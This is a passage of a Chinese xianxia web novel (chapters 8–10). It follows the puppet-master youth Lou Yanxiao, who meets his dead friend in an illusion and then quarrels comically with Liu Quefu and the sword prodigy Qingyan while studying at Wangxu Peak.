或许此门会是他一直寻找的未门。
他深吸了口气,继续往前走。
须臾,身后撞上一个人,他立马停住了脚步——他察觉到了活人的气息。
幻境里的人,是活的。
此人就在他身后!
楼砚霄脊背漫上一股凉意,往常进门他要走上许久,方才见到门中真正的活人,可是这次为何……
他转头一看,身后的少年红衣鬼面,正使劲揉搓着胳膊,俨然被撞的发疼,注意到有人在看他,立马抬起头,熟稔喊道:“阿琢,你让我好找。”
楼砚霄握伞的动作不由自主收紧。
红衣鬼面,百木傀师人。
那人瞧见楼砚霄不说话,又道:“阿琢,我在妄虚峰等了你百年,你终于来了。”
闻言,楼砚霄抬伞看他。
那人拿出腰间的银铃,那是系在傀线上的铃铛,非到危险时刻不可取下,在命陨之际也可以救自己一命。
可那人丝毫不在意地取下银铃,轻轻摇了摇。
楼砚霄一听到铃声,心口忽而发疼,像是回到了当初被九剑穿心时,钻心的疼。
他捂着胸口想要去看眼前的少年,却在少年的脸上瞧见了一张死去多年的脸,他的瞳孔不由得紧缩。
——那是从小长大至十六岁的好友,褚光卿的脸。
褚光卿分明在百木傀师灭族那年死去,他的气息为什么是活的?莫非戏门中的幻境还能复活人?
他从未在戏门中遇到此事,这是为何?
不待他想清楚,一阵清风袭来,撑着伞的手陡然失了力道,红纸伞落在了地上。
只听眼前人温声道:“阿琢,好好休息,我带你出去。”
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>“我……我……”
楼砚霄惊觉喉道被锁,说不出一句话来,只能看着眼皮子越来越沉,意识越来越模糊,直至彻底昏睡过去。
少年拾起他的伞,抬眼看向远处的宫殿,只一瞬间天暗了下来,伴随着一声惊雷劈下,恐怖的嘶吼声在头顶响起。
少年冷笑,再次取下腰间破烂锈的不成样子的铃铛,缓慢地摇了摇。
“叮铃铃……”
“叮铃铃……”
……
铃声响了一刻钟才堪堪停下。
再抬头时,天空又恢复了晴空万里。
他将铃铛挂回腰间,扶起昏迷的楼砚霄,一步一步向山巅的宫殿走去。
到了山巅,还未进到宫殿,就听到与宫殿对立的山顶上传来古朴的钟声,响彻云霄。
少年未声脸色一变,还未等他想出应对之法,远处又是一道钟声响起。
钟声一尽,天地一变,他的意识也跟着消散。
他竭力想要抵抗,却没有一丝力气,最后他取下腰间的铃铛,抖着手,小心翼翼挂在楼砚霄的腰间。
“阿琢。”
“此行一帆风顺。”
他爱惜地抚摸那枚铃铛,喃喃道:“可别再碎了。”
若是再碎……这辈子再也走不出去了。
倏地,一枚雪絮擦着他的脸而过,几乎瞬间,他就察觉到有人在靠近。
“何人?”
照常说此门千年都不可能有人进来,怎会突然出现除楼砚霄外的一天?
等他言尽却发现此人气运略微熟悉,似是在哪见过。
离的越近,感觉越浓。
就在那人靠近的那一瞬间,少年看清了他的脸——妄虚峰峰主清厌!
“你怎会在此?”少年惊异。
清厌抱起楼砚霄,“路过。”
少年怪异地看了他一眼,想要询问他为何抱起楼砚霄,但想起与此人也不怎么熟,只能道:“此门与其他门不同,你们若是想回去,需得通过妄虚。”
“他腰间的铃铛可保你们不死。”
清厌闻言看了眼楼砚霄腰间的铃铛,不知是不是用的年岁过久,铃铛已有些破烂,手劲儿大的一碰上去就能捏碎般。
但听少年这么说,他不敢忽视,点头应下。
走时,回头问道:“若是下次进来,可否还会遇到?”
少年摇头,道:“铃铛一失,魂气便散,我能苟活至今也不过有铃铛养魂。”
他又道:“若是要出此门,单凭你二人是不够的,有了铃铛相助,出去也并无甚么阻碍。”
“只盼出了此门后,不要再进来了。”
清厌看他,“为何?”
“辰门春堂诡,未门妄虚险,午门断新柳,卯门百木绝。”
“若是再继续前行,离别……不可避免。”
少年言尽,眼神深深看向楼砚霄,几近叹息道:“走罢。”
“风雪散尽,路已天绝,以我残魂,重开未门!”
言罢,远处宫殿的大门缓缓打开,嬉笑打闹的嗓音从里间传出。
清厌眼神复杂看了他一眼,释放出一道气运,附于他身上,“我的气运可保你活到下次与他见面。”
“多谢。”少年不胜感激道。
宫殿门开后,清厌也不再多做犹豫,带着楼砚霄踏进了宫殿门里。
踏入的一瞬间,整个人便失去了意识。
此时,古朴的钟声再次响起,从山巅悠悠荡开,落入宫殿里。
“今夏三暑,妄虚开学——”
8. 妄虚求学
楼砚霄从百木赶往妄虚上学那年正值十五。
各族世家派遣小辈前往妄虚求学在百年前便一直流传下来,不过这次与百年不同的是,百木傀师也在名帖之中。
世家大族看到名列上百木傀师四个大字,无不震惊。
妄虚峰是大陆上公认的名门正派,从万年前修真界陨落起,自是不与诡道之人苟同,如今再看到傀师在名列上,如何叫他们不震惊。
不光世家大族,被迫前往妄虚求学的楼砚霄和自小一起长大的褚光卿同样不解。
来到妄虚峰山脚那日,楼砚霄嘴里叼着一根狗尾巴草,与褚光卿并排站着,一同望向山巅处的宫殿。
过了半响,楼砚霄吐出嘴里的狗尾巴草,语气颇为不屑道:“这就是大陆上第一正派的妄虚峰?”
一旁的褚光卿道:“宫殿如此小,不及百木一二!”
“石阶如此高,还不出门迎客,毫无待客之道!”
楼砚霄道慢悠悠:“名门正派居然邀请我们来听学,是不是被我们诡道的人吓怕了?”
“瞧着便是,如今的正派听到我们的名头就是怕了!”褚光卿同仇敌忾道,生怕周围的人不知道他们是百木傀师,声音愈发洪亮。
“那我们便去会会他们。”
话音刚落,两人肩上便同时落下一只手,一道欢快的嗓音在身后响起:“敢问二位也是去妄虚峰的吗?”
楼砚霄转头看他,问道:“你怎知——”
他还未说完,就听那人道:“我瞧二位心气不凡,定是家族中的个中翘楚,此去妄虚求学,还望二位多多担待我家少爷。”
“你家少爷在哪?”说着,楼砚霄便偏头往他身后看去,一瞧见男子身后的绿服少年,楼砚霄和褚光卿几乎是同时做出后退的动作。
那人好似早就料到两人的动作,扣在两人肩上的手不由得用力,露出一个温和的笑:“二位少侠,此次来妄虚无伴,你们跟着我家少爷也是为了你们好。”
言罢,楼砚霄和褚光卿弯腰做出一个呕吐的姿势,回头一看,身后的少年也是同样的动作。
寂烨:“……”
半响,楼砚霄才直起腰对寂烨道:“我可不敢靠近柳大小姐……”
话还未说完,一道冷哼响起,语气里满是嫌弃:“说的好似我想与你们这两个土鸡一起。”
褚光卿不服道:“说谁土鸡?!”
柳鹊凫傲娇地撇过头,冷声道:“明知故问。”
“你——!”
“你什么你,第一次见面我难道没告诉你们名字吗?没教养的土鸡!”
闻言,褚光卿还想言语,楼砚霄将他往身后拉,语气混不吝道:“早些年听闻柳大小姐长的如女人一般花容月貌,今日一见,果然如此,只可惜这破烂脾气,也不知道哪家姑娘受得了你。”
“楼砚霄!”柳鹊凫怒道。
楼砚霄将落在肩上的头发往身后带去,笑道:“看我名字多好听,我可不像你,柳、大、小、姐。”
柳鹊凫怒目瞪圆,唤来配剑,向楼砚霄飞来,大喝:“楼琢,我今日非劈死你不可!”
楼砚霄急忙躲至褚光卿身后,气定神闲道:“那便看看是你的剑快还是我跑的快!”
言罢,运起气运,向身后的山巅飞去。
还不忘喊:“救命啊!世家大族的柳家杀人了!”
“楼砚霄,今日不是你死就是我亡!”柳鹊凫握着剑,怒道。
寂烨:“……”
为何事情突然变成这样?
他收回目光,想找寻褚光卿的身影,哪知一低头,褚光卿如同生了飞毛腿,跑的飞快,眨眼间便消失在了山林里。
他无奈地摇了摇头,心道:少爷,如今也只能帮你到这儿了。
-
要说楼砚霄和褚光卿和柳鹊凫的恩怨,还要从五岁那年柳家家主带柳鹊凫去百木说起。
柳鹊凫去的那日,楼砚霄和褚光卿照常从长老的院子溜出来,刚翻上墙头便瞧见院中站着一个粉雕玉琢的男孩,一身淡绿服饰,两人怎么瞧怎么像一只花孔雀。
两人互相看了眼,明了对方心中所想,瞬间笑出了声。
墙下听到声音,抬头一看,竟是两个与自己年纪相仿的灰头土脸人!两人似乎没察觉到他的视线,还在放肆大笑,嘴里还说着墙下的人如何如何。
柳鹊凫仔细一听,全然是在议论自己长的像一只花孔雀。听到这儿,柳鹊凫不由得大怒,唤来佩剑,运起气运就向两人劈去。
楼砚霄最先察觉到剑气,急忙拉起褚光卿往旁边带,堪堪躲过剑气。
然而不等两人缓过神,急冲冲飞上来的柳鹊凫落脚没个分寸,脚底一滑,生生往两人撞去。
此时他的手里还拿着剑,对准两人的方向。
两人见状也顾不上其他的,率先从墙头滚下去,在柳鹊凫快落地时又赶忙起身,生怕他手里的剑碰到自己。
柳鹊凫原以为落下至少会有两人做肉垫,哪知两人一落地便一身不吭地起身,跑的远远的,他来不及运起气运,摔了个狗啃泥。
还未起身,又听到两人放肆的笑声,抬头望去,两人居然抱着肚子笑着在地上打滚。
柳鹊凫见到此幕,怒从心生,吐掉嘴里的草,爬起来,提着剑向两人飞去,怒道:“两个土鸡!”
“不好,他生气了!”
“长的如此好看,怎生了一副破烂脾气,动不动打打杀杀。”
楼砚霄和褚光卿瞧着柳鹊凫渐渐逼近,又忙不迭起身往院子里跑去。
楼砚霄边跑边问道:“不是说柳家人最为端庄有礼,此人怎么提着剑就要杀人?!”
褚光卿回他:“我怎知他脾气如此火爆,有点像西院的大师姐。”
楼砚霄恍然道:“我听大师兄言,西院的大师姐来百木前,是富甲一方的大小姐,如今一瞧花孔雀,岂不是和大小姐一模一样吗?”
“铮——”
话语刚落,一道凛冽的剑气落在自己身侧。
楼砚霄脚步一顿。
此时,柳鹊凫森冷的声音从身后传来:“近日我便将你二人砍了,拿去喂狗。”
楼砚霄和褚光卿对视了眼,捏了个诀,刹那间,无数傀线缠上柳鹊凫。
楼砚霄回头看他,道:“好大的口气,你当真以为这是你们清平柳家?你要不出门瞧瞧此处的牌匾写着何名?”
“我瞧着清平柳家也无他这般没教养,莫非是抢了柳家人的衣服?”褚光卿若有所思道。
楼砚霄:“我们将他衣服扒了岂不是知道他是哪家人了?”
说干就干,两人向柳鹊凫走去,后者不明所以,怒道:“你们可知我是谁,放开我!”
褚光卿:“喊破喉咙也无人来救你,年岁瞧着不大,居然敢做出冒充柳家人的事!”
闻言,柳鹊凫沉默了。
他若不是柳家人,谁是柳家人?
他挣扎着想要挣脱傀线的束缚,可百木傀师的傀线皆是祖上特质,岂是他一个五岁孩童能解开的。
挣扎未半,便瞧见两个土鸡扒自己的衣服,柳鹊凫气的哭了出来。
楼砚霄:“……”
褚光卿:“……”
半响,楼砚霄迟疑道:“他莫非……真是女的?”
褚光卿点头:“女相。”
柳鹊凫:“……”
楼砚霄踹了柳鹊凫一脚,冷声道:“你是哪门子的细作,不仅扮作柳家人,还扮作男的。”
柳鹊凫:“……”
此时,褚光卿道:“阿琢,甭管那么多,把他跟咱们最近炼化好的傀儡关一起,看他说不说。”
柳鹊凫眼泪又掉了下来,小声地哭道:“爹爹,我想回家……”
两人也没管柳鹊凫在喊什么,两人合力拖着柳鹊凫走,还没走出两步,便瞧见不远处有一男子从廊道急匆匆赶来。
男子瞧见哭的不成样子的柳鹊凫,走的更快了,“儿啊,你可让为父好找。”
见状,楼砚霄和褚光卿立马收了傀线,转身就跑。
倒不是男子长的多么凶神恶煞,而是男子身后还跟着前不久盯着两人的长老。长老离开前,还嘱咐两人好好修习,若是让他知道两人又偷偷跑出来,东院又会响起两人的惨叫声。
楼砚霄和褚光卿自以为跑的很快,哪知长老从出现在廊道那刻,便瞧见了两人,注意到两人的动作,气的胡子都瞪直了。
“楼砚霄!褚光卿!”
两人充耳不闻,拼命逃跑。
跑了许久才停下来。
然而不等两人歇口气,傀线便缠住了两人。
楼砚霄和褚光卿抬头一看,不远处站着时常守在长老身边的木傀。它的十指缠着傀线,轻轻扯动,带着两人走。
瞧见此景,两人同时露出一个绝望的神情,一直持续到见到长老。
后者瞧见两人的表情,气不打一处来,厉声道:“你们二人不在院子里修习傀术,东跑西跑什么?”
楼砚霄此时还被傀线捆着,他的余光瞧见不远处的椅子上坐着先前的男人,而柳鹊凫被男人抱在怀里,俨然一副慈父爱子的场景。
他对着长老露出一个明媚的笑,胡言乱语道:“长老,正所谓伤筋动骨一百天,五岁男儿正当时,修习傀术日日打坐,我屁股都快坐出花来了,你若不信,我扒光卿的裤子给你看。”
褚光卿:
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“……?”
你屁股出花与我裤子何干?
楼砚霄又继续道:“长老啊,刚才你也瞧见了,一个与我们年岁相仿的孩童,还得我们二人合力方能拖动,若是再这样下去,我们日后岂不是连自己练的傀都拉不动?”
褚光卿小心翼翼踹了楼砚霄一脚,提醒他谨言慎行。
瞧见这一幕的长老气笑了,他捋了捋长胡,不动声色道:“既然如此,待你们傀术练到三层,我便让家主安排你们出门游历,若是练不到三只傀,也不必回来了。”
闻言,楼砚霄和褚光卿同时抬头,看向长老。
后者俨然早已预料到两人的表情,在他们抬头之际,拂袖离去。
“五行傀,你们至少炼化三只。”
五行傀,唯有傀术达到七层才能炼化出来,可他们傀术练到三层,如何将五行傀练出来。
楼砚霄简直想都不敢想,一旁的褚光卿拉着他低下头,大声道:“长老,我们错了,刚才那番话是阿琢在胡言乱语,还望长老莫要当真!”
“我也不想当真,可你们不好好修习傀术,跑出院子做甚,还绑了贵客,你们知不知错?!”长老看向两人道。
楼砚霄想开口道并非他们先动手,衣袖却被一旁的褚光卿用力扯了扯,他当即敛下目光,低下头,道:“我们知错。”
言罢,又转向男子和柳鹊凫,低声道:“叨扰柳家人,实在抱歉,还望大人不要计较。”
柳鹊凫道:“那我偏要计较呢?”
楼砚霄闻言,撑在地上的手握成了拳,轻轻笑了声:“无父无母,烂命一条,你若是要,那便拿去。”
“鹊凫,闭嘴!”
坐在高堂的长老道:“回院子修习。”
楼砚霄站起身,离开前看了柳鹊凫一眼,扯着嘴角露出一个没有感情的笑。后者察觉到他的目光,不甘示弱地回瞪。
此后,三人的梁子便截下了。
碰上一面少不了动剑动傀,吵闹一番。
-
“救命啊啊啊!柳家人无故杀人啊!!!”十五岁的楼砚霄已然不是当初忍气吞声的男孩,几乎行至一处便大喊一次,喊完还要“呸”一声,道,“我怕个鬼。”
听到此话的柳鹊凫恨不得劈了他,怒道:“既然不怕,为何要跑?”
楼砚霄道:“我若不怕,为何要跑?”
柳鹊凫:“……”
这到底是怕还是不怕?
行至宫殿,人也多了起来。楼砚霄在前面跑,冲进人群里七拐八绕,尽管如此,柳鹊凫还是能找到他。
他抬头看向不远处的宫殿,心一横,往里处飞去。
柳鹊凫瞧见他往宫殿飞去停下了脚步。
楼砚霄以为柳鹊凫还在身后追跑的愈发快了,回头瞧不到柳鹊凫的身影才停下来,暗道:柳鹊凫也不如何。
然而等他缓过神一看,自己所处的这方天地极为的暗,周身似乎还有氤氲水汽浮动,瞧着很不真切。
他定睛往深处看去,似乎是个屏风。
这处瞧着也不想居住人的样子,为何会出现一个屏风?
持着好奇心往那处走去,还未靠近便听到屏风后传来一道泠泠的嗓音,与这昏暗的天地极为相衬。
“何人?”
楼砚霄并未出声,他站在原地,目光透过屏风似乎想要知道那人的模样。
倏地,一柄寒剑从屏风后飞出,楼砚霄手疾眼快接住,不知为何,握住那柄剑时,一股寒气骤然逼近,直冲命门。
楼砚霄抓着剑,快速轻巧躲开,站定后对着里面的人道:“有人追赶到此处一躲,无意叨扰。”
他原以为自己解释对方至少停手,哪知话音一落,手中握着的剑不受控制颤抖起来,又是一股寒气袭来。
明白了对方要打的意思,楼砚霄也不再好言好语和对方说话,利用气运将剑镇住,提起来就是一挥。
“我可说好了,不是我要打,是你不肯停下来——”
说到一半,一件白衣从眼前飞过,落在屏风后,下一刻面前的屏风裂成两半,向外飞去。
然后他就看到一个剑眉星目的少年披着一件淡薄的白色里衣,从氤氲水汽中缓缓走来。
瞧见那滴水的长发,楼砚霄此时也明白他在此处做甚。
他颇有些无措地松开了剑,道:“道、道友,我并不知你在此处……”
少年瞧也不瞧他一眼,路过他身旁时,施了气运将剑拾起来,握着剑不紧不慢走了。
徒留楼砚霄在原地一脸迷茫。
这是作何?
妄虚峰的人都是这般爱搭不理,连人不看就走?
这么目中无人?
9. 正道禁忌
楼砚霄从宫殿出来时,外头正值热闹,还未行至殿前,就瞧见长廊的屋顶上坐着一人。
青绿色服饰搭配同色佩剑,一脸傲娇谁也看不上的表情,就算化成灰楼砚霄也能认出此人是谁。
“柳大小姐。”楼砚霄朝他喊了一声,“居然有如此闲情逸致在此处赏太阳。”
柳鹊凫闻声回头瞧他,在瞧见他还是一副完好无损的模样,脸色变得难看起来,“你居然没被打?”
“为何要被打?”楼砚霄疑惑看他。
柳鹊凫冷哼了声,从屋顶跳下来,拍了拍身上的尘土,瞧他一副一问三不知的模样,没好气道:“你不知道那是谁的住所?”
楼砚霄语气疑惑:“你是觉得……我一个诡道之人理应知道正派住在何处,他的族人又分别居住在此处的何地么?”
“……”
柳鹊凫无言以对,只好道:“你没入正道当真是浪费自己的才能。”
“此话何意?”
柳鹊凫道:“就算不是正道世家,也知道妄虚峰上有一禁忌,任你去何地无事,但若是你进了登星阁,要么九死一生,要么尸骨无存。”
楼砚霄疑惑道:“这与我有何干系?”
“当然有了,此路只通一个地方,那便是妄虚峰的登星阁。”柳鹊凫指着他身后的路道,“就是你刚刚出来的这条路。”
楼砚霄:“……”
他入学不到一刻钟就知晓了正道禁忌?
他不仅知道还能活着走出来,尸骨尚存,没死十生!
看来这正道世家也不如何!
-
柳鹊凫本想说出此话好好观摩下楼砚霄的脸色一番,毕竟楼砚霄泼皮无赖惯了,在百木傀师也是无人管教,不知天高也不知地厚,到处惹事不说,惹完还朝人嘻嘻地笑……这次惹到妄虚峰那位,他倒要看看楼砚霄要如何收场。
片刻后,他对上了一张笑颜,嘴角抽了下。
楼砚霄如见挚友般拍了拍他的肩,道:“多谢柳兄提醒,你不说我还以为就是个常人居住的地方——”
“铮——”
一把带着寒气的飞剑从远处飞来。
楼砚霄和柳鹊凫同时停下话音,抬眼朝剑飞的方向望去,一个穿着整齐的白衣少年站在不远处的顶端,眼神冷冷地望向两人。
楼砚霄眯着眼睛看了一会儿,转头问柳鹊凫道:“这是谁?”
柳鹊凫发觉不能用任何言语来形容此时的楼砚霄,他极大力地撇过头去,试图撇清与楼砚霄的关系,朝着少年作揖:“少峰主。”
“少峰主?”
楼砚霄转头看少年,发觉身形有些熟悉,好似在哪见过。少年身上的衣服穿的极为凌乱,蓝云纹腰带也只是简单系上,但并未系紧,一副匆匆穿上赶来的模样,与他板正的冷脸形极为不符。
于是他摩挲着下巴,好奇道:“我们是不是在哪见过?”
话音一落,那柄剑又朝他飞来,这次少年也不再如之前那般站在屋顶,他脸上带着愠色,直直向楼砚霄飞来,一副要杀楼砚霄的做派。
少年脸上的表情楼砚霄自然没错过,他灵活地躲过飞剑,抬头看向少年愈来愈近的脸,似曾相识的画面在脑海里一闪而过,惊道:“你该不会在登星阁沐浴的那位道友吧?”
想起这位,与眼前少年结合在一起,楼砚霄急忙大声解释道:“道友,我真的不是故意看你洗澡!”
“闭嘴!”少年声音森冷,手下也不再留情,将四处乱窜的楼砚霄一脚踢向门处。
“嘭——”
紧闭的大门砰然被人踢开,褚光卿焦急的嗓音也紧随出现:“楼砚霄,你特么被柳鹊凫打死了?!我找了半个妄虚,你人到底死哪去——”
他话还未尽,一柄剑从耳边飞过,一个人倏然砸在他跟前,那人呸了好几声,从尘土里抬起头,脸色一块黑一块白,语气颇为正经的对他道:“……看正道禁忌沐浴去了。”
褚光卿:“……”
看戏的柳鹊凫也沉默下来,心道:“楼兄,我有时挺佩服你这天不怕地不怕的嘴。”
已经打过一次,以为这人至少长点教训的清厌停顿了一瞬,语气愈发的冷:“……不知羞耻!”
“羞耻羞耻,何为羞耻?”楼砚霄爬起来拍了拍衣裳上的尘土,转头看向他,“道友,我说你们正道也忒讲究了,不就是沐浴吗?男子看男子正常不过,怎地到了你这儿活像女子贞洁被夺似的?”
“闭嘴!”
清厌说着又使剑向他刺来。
楼砚霄这次长记性了,凭借着身子的灵活快速躲过他的攻势,嘴上还不忘道:“我说你们正道是不是有什么通病?说一句就生气,生气了什么话也不说就拿剑杀人,若是常人早就被你们捅成筛子了!”
“那你是何人?”清厌冷着脸看他。
楼砚霄嬉皮笑脸道:“自是诡道天才。”
清厌:“……荒唐!”
“如何荒唐?我看你深居幽暗之地,知晓外界的事未必比我多。”楼砚霄语气不以为然,生怕不能将清厌激怒似的,他又道:“不就是看你一次么?你若是觉得不公,我现在解衣让你看回来如何?”
“……滚!”
半柱香后,楼砚霄、柳鹊凫连同赶来不久的褚光卿一同被人扔了出去。
楼砚霄今日被人扔在地上两次,起身张口欲骂,回头哪儿还有清厌的身影。
憋了一口气将身上的尘土拍去,骂道:“这就是正道世家的待客之道?!简直欺人太甚!”
柳鹊凫:“我劝你还是少说点,就算我们三人合力也未必打的过他。”
“你不是自诩诡道第二,怎么如今见了正道的人像耗子见了猫?”楼砚霄瞥他一眼,损道。
柳鹊凫:“……我不同疯子言语。”
楼砚霄笑道:“你此话说的我好像也喜欢和疯子言语。”
“楼!砚!霄!”柳鹊凫再次拔出佩剑,向楼砚霄劈去。
楼砚霄游刃有余地躲开,此时,余光瞥见三个熟悉的身影,边朝他们跑去边道:“听有兄!萧明!萧朗!”
三人听到他的声音,停下了交谈,望向他的方向,抬起手正欲回他,却在看到气势汹汹,举着剑恨不得将他劈成两半的柳鹊凫,脸上的笑滞了下。
“砚霄,你们这是……”
“柳鹊凫此人瞧我比他优秀太多,想借此求学将我除去,听有兄,你们可要救我啊!”
柳鹊凫听到此话,火气噌噌噌地往上涨,“楼砚霄,你再多说两句,今日我非把你砍成肉泥不可!”
“你知道你为何一直屈居第二,到不了第一?”楼砚霄跑到三人身后,朝他问道。
柳鹊凫忍着怒气问:“为何?”
楼砚霄一本正经道:“你这大小姐脾气,我楼砚霄长这么大,也只遇到你一个。”
柳鹊凫再次拔出剑。
被迫挡在两人之间的宋听有叹了口气,劝道:“我们如今来妄虚求学,日后还要互相照拂,你们第一日就这般吵闹,正道的人如何看我们?”
柳鹊凫施出气运,将剑收回来,心里怒气并未减少半分,“那便杀了。”
匆匆赶来上的褚光卿:“……”
挡在二人中间的宋听有、萧明、萧朗:“……”
柳鹊凫不紧不慢道:“正好与那油嘴滑舌的楼砚霄埋一起,臭味相投,死得其所。”
“你这诅咒未免严重了些。”楼砚霄摸了摸鼻子,好似有那么一点惹到柳鹊凫的心虚。
俄顷,又道:“话说,我瞧你刚刚与那位正道说话熟稔似乎认识他
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,你怎么不与我说?”
“与你说有何用?”柳鹊凫冷哼了声,“你趁他洗澡将他看光,你今后在妄虚只会寸步难行。”
似乎觉得语气不够狠厉,他又加重了语气,继续道:“死路一条!”
其他人听的一头雾水,柳家,宋家,萧家以及百木傀师同为诡道四大世家,但与正道接触最多的还数柳家,是也他们此次赶往妄虚求学,族中的长辈也告诫他们:若是有不懂之事,应当问一下柳家的小辈。
但百木显然没有与楼砚霄和褚光卿说此事,两人抵达山脚的春堂镇,还扬言要将正道世家的小辈打的落花流水,顺便会一会那妄虚峰上的天生剑骨。
他们在来妄虚之前,早已听闻妄虚峰上出了一位百年难遇的剑骨,这位少年与他们一般大,但修为却是比他们高了不少。
他们此次来妄虚除了求学,其下的便是能见见这位少年,与他切磋一番。
楼砚霄着急知道那位少年是谁,也没理会柳鹊凫不善的语气,问道:“为何会死路一条?莫非与那少年有关?”
“何止。”来了妄虚这么久,楼砚霄难得不与他斗嘴,柳鹊凫心情大好道:“刚刚与你交手的少年便是你们所熟知的天生剑骨。”
“他?”楼砚霄不可置信道。
瞧见楼砚霄终于露出惊异的神色,柳鹊凫看热闹不嫌事大,不紧不慢道:“你与他见了第一面便结下梁子,恐怕你在妄虚的日子,只会凶多吉少。”
楼砚霄睨他一眼,“他未必打的过我。”
柳鹊凫笑容一滞,好一会儿才怒气冲冲道:“楼砚霄,不找死就不会死。”
楼砚霄淡淡应了声,不以为意道:“那又如何?他能拦住我的脚抓住我的手?”
柳鹊凫看到楼砚霄这副云淡风轻,毫不在意的模样,气个半死,想拔出剑把人打了,但又想到妄虚的规矩,自顾收了剑,气冲冲走了。
楼砚霄觉得他有些莫名其妙,便也没理,跟着褚光卿和剩下的三人在妄虚逛了会儿。
-
月上柳梢,白日里热闹的妄虚安静了下来,须臾,一个穿着红衣的少年翻过墙头,稳稳当当落在妄虚的外围。
他站起身,拍了拍身上的尘土,正欲转身离开,一柄寒剑突兀出现,架在他的颈侧。
清厌冷冷的声音在静谧的环境中响起:“你要去哪?”
看清来人是谁,楼砚霄摘下脸上的面具,朝他一笑:“自然是下山。”
“妄虚有规,夜过子时,不允下山。”
楼砚霄戴回面具,道:“你们妄虚的规矩对我可没用……”
话还未尽,锋利的剑刃划开颈侧的皮肤,渗出一条血痕。
抬手碰到颈侧热滚的血,楼砚霄笑了。
下一瞬,他反手将清厌的剑夺来,借着月光将那柄寒剑从剑柄到剑尖打量个遍,似乎想起了什么好玩的事,笑道:“天生剑骨的剑就是不一样,划开我的颈侧比别的剑还容易,只不过——”
“没有下次了。”
清厌错愕地看着他手里的剑,“你这是何意?”
楼砚霄趁人愣神之际,扯着他的腰带将人带离自己近些,含笑的气息洒在他的耳边:“嘘,它们来了。”
“谁?”清厌警觉道,竟没有察觉到周围活人的气息。
楼砚霄瞧见把人吓到,松开了手,推开人,将剑扔给他,吹了声口哨,将藏在密林里的傀儡唤来:“自然是载我下山的傀儡来了。”
他欢快地朝清厌喊道:“道友,我先行一步了。”
言罢,上了傀儡带来的木轿,穿过密林往山脚下的春堂镇走去,徒留清厌一人待在原地。
恍然意识到自己被人戏弄的清厌握紧手中的剑,闭上眼睛,耳垂在月色下慢慢变红。
“楼琢!”
10. 登星同住
翌日,楼砚霄从山脚下回来,到了外来求学弟子统一居住的小院,发觉自己的细软全都不见了。
“我不过下山一夜,行囊就被偷了?妄虚峰这等名门正派,还有偷子?”楼砚霄找遍了小院的角落也不曾找到自己的行囊。
此时,恰好褚光卿下学回来,他扭头便问:“光卿,你可曾见过我的行囊?”
褚光卿闻声停在了原地,用古怪的表情看着他,不知道如何开口,踌躇了一会儿才道:“被、被人拿走了。”
楼砚霄:“……”
被人拿走?
光天化日之下,居然还有人把他的行囊拿走!
妄虚峰作为正道第一大派,应当防护森严,守卫戒备,竟然还会发生学子行囊一事,简直匪夷所思!闻所未闻!
楼砚霄本就带着困顿上山,正欲打算打开铺盖小憩一番,听褚光卿言行囊被人拿走哪还困。
他睁着清明的眼睛,炯炯有神地看向褚光卿,一副不把此人揪出来不罢休的模样:“何人?”
“清厌。”
“此人是谁?”楼砚霄一头雾水,自来到妄虚这么久,还未听到一个正道门派的名字,此时听到这个算不得好听的名字,愣了下。
褚光卿嘴角抽了下,脸上不知道作何表情,同情地看他一眼,“……就是昨日拿剑打你的人。”
“昨日——”楼砚霄话音猛然顿住,脑海里不禁想起昨夜下山前调戏的白衣少年,脸上一块白一块红,最后抬眼和颇为无语的褚光卿对视,“他叫清厌?”
言罢,也不等褚光卿点头,自顾自说道:“名倒是如其人,就是表里不一,长着一副谪仙样,背地里却是干这种见不得人的勾当。”
褚光卿:“……”
难道你夜半偷摸下山也很光彩吗?
楼砚霄心里想着清厌的事,无暇顾及褚光卿露出何表情,思索一番又问道:“他拿走我行囊可有说些什么?”
“他道,从今日起,你与他一同住在登星阁。”
楼砚霄:“……嗯?”
褚光卿憋了许久的笑,此时在看到楼砚霄的反应,终于露出了笑:“妄虚峰的少峰主邀你与他同住,你怎地一副天塌的表情?”
楼砚霄气的瞪他一眼,没好气道:“要我与他住,不出半刻钟,这妄虚峰怕是要被劈成两半。”
“你昨日不是说他未必不是你的对手?”褚光卿幸灾乐祸道。
楼砚霄无言。
若是没有昨夜的事,他和清厌的关系……倒还说的过去,可偏偏,他就是没忍住,把人调戏了。
褚光卿收了点儿笑,拍了拍他的肩,递给他一个爱莫能助的眼神。
楼砚霄还是无言,挡开他的手。
“你就这么怕他?”
“倒也不是。”楼砚霄有些疑惑道,“昨日柳鹊凫言,这清厌不喜旁人进登星阁,今日将我行囊卷走,还说让我同住,他就不怕我再次将他看光?”
褚光卿的手停在半空中。
须臾才道:“今日他并未去上学,你要不去问他?”
楼砚霄闻言也不再迟疑,“那我便先走了。”
褚光卿颔首。
待到楼砚霄的身影消失,四个人从院外的角落不紧不慢出来,看了眼楼砚霄离开的方向,才转向褚光卿走去。
柳鹊凫抱着剑,边走边道:“你就这么让他一人去?”
“正巧阿琢也没走远,你现在追上去还来得及。”褚光卿从善如流道。
柳鹊凫:“……”
“谁要与他一同去送死!”柳鹊凫冷哼了声,“你们百木傀师着实有趣,让同族去送死,袖手旁观。”
褚光卿摇了摇头,“非是送死,昨夜清厌来将阿琢的行囊拿走,你们是没看到。”
“看到什么?”萧明和萧朗问道。
“他这儿,”褚光卿点了点耳朵,“是红的。”
柳鹊凫:“……”
萧明:“……”
萧朗:“……”
以及并未出声的宋听有:“……”
沉默须臾,萧明疑惑道:“剑骨耳朵红与砚霄有何干系?”
柳鹊凫想起昨夜楼砚霄下山,道:“指不定昨夜两人打了一架。”
宋听有:“砚霄的实力我们都知晓,不至于把清厌耳朵打红。”
萧朗:“那是什么?难不成两人昨夜一起下山喝酒,成了知无不言的好友?!”
他话音一落,便瞧见四双眼睛齐刷刷向他望来,眼底全是不可置信,比平日与族中长老出门探诡遇到匪夷所思的事还要震惊。
瞧见他们的目光,萧朗有些迟钝地摸了下脸,“难道我说错了?”
柳鹊凫率先回过神来,道:“没错,没错,完全就是天方夜谭。”
萧朗:“……”
你的话与你的眼神有什么区别?
柳鹊凫又道:“要我说,楼砚霄和清厌两人除了相杀,成为至交好友绝无可能。”
“为何?万一他们真成好友呢?”褚光卿道。
“那便是我死了才有这个可能。”柳鹊凫信誓旦旦,话语中透着一丝自信。
四人与柳鹊凫自小认识,虽说他的脾气与世家小姐不遑多让,但他说出的话正常情况下倒也不会出什么差错。
况且从昨日来看,楼砚霄确实与清厌没有成为挚友的可能。
“那我们……”萧朗望着楼砚霄离开的背影,担忧道。
“此事是他挑起,先由他解决,若是解决不了,我们再帮他不迟。”宋听有提议。
